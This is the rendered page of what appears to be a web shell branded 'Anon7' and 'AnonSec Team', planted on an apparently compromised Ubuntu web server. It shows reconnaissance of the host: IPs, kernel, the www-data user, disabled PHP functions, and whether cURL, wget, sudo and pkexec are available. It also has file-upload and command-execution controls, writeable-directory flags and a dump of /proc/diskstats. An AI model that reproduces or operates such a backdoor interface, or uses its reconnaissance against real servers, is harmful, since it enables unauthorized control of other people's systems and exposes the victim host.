NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.129
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/proc/diskstats
   7       0 loop0 74982 0 716676 4805 0 0 0 0 0 134948 4805 0 0 0 0 0 0
   7       1 loop1 12778 0 866594 1639 0 0 0 0 0 42632 1639 0 0 0 0 0 0
   7       2 loop2 53604 0 693008 2971 0 0 0 0 0 102524 2971 0 0 0 0 0 0
   7       3 loop3 935 0 57050 58 0 0 0 0 0 2336 58 0 0 0 0 0 0
   7       4 loop4 5219 0 68656 322 0 0 0 0 0 9820 322 0 0 0 0 0 0
   7       5 loop5 13865 0 916974 1531 0 0 0 0 0 45724 1531 0 0 0 0 0 0
   7       6 loop6 39134 0 828786 3002 0 0 0 0 0 81472 3002 0 0 0 0 0 0
   7       7 loop7 54383 0 509280 3046 0 0 0 0 0 96020 3046 0 0 0 0 0 0
 252       0 vda 1898580 202242 54414115 1142640 64719176 20173629 1489026364 91311624 0 40735928 93716737 276989 0 2784746452 32881 7682117 1229590
 252       1 vda1 1888461 164272 53969315 1140822 64719024 20172847 1489000632 91311305 0 40723996 92484993 276915 0 2777299240 32865 0 0
 252      14 vda14 401 0 4196 41 0 0 0 0 0 236 41 0 0 0 0 0 0
 252      15 vda15 770 37970 57270 401 140 774 25628 316 0 776 734 74 0 7447212 15 0 0
 252      16 vdb 1507 0 1610 126 0 0 0 0 0 5288 126 0 0 0 0 0 0
   7       8 loop8 5004 0 344980 621 0 0 0 0 0 17208 621 0 0 0 0 0 0
   7       9 loop9 10 0 20 0 0 0 0 0 0 4 0 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team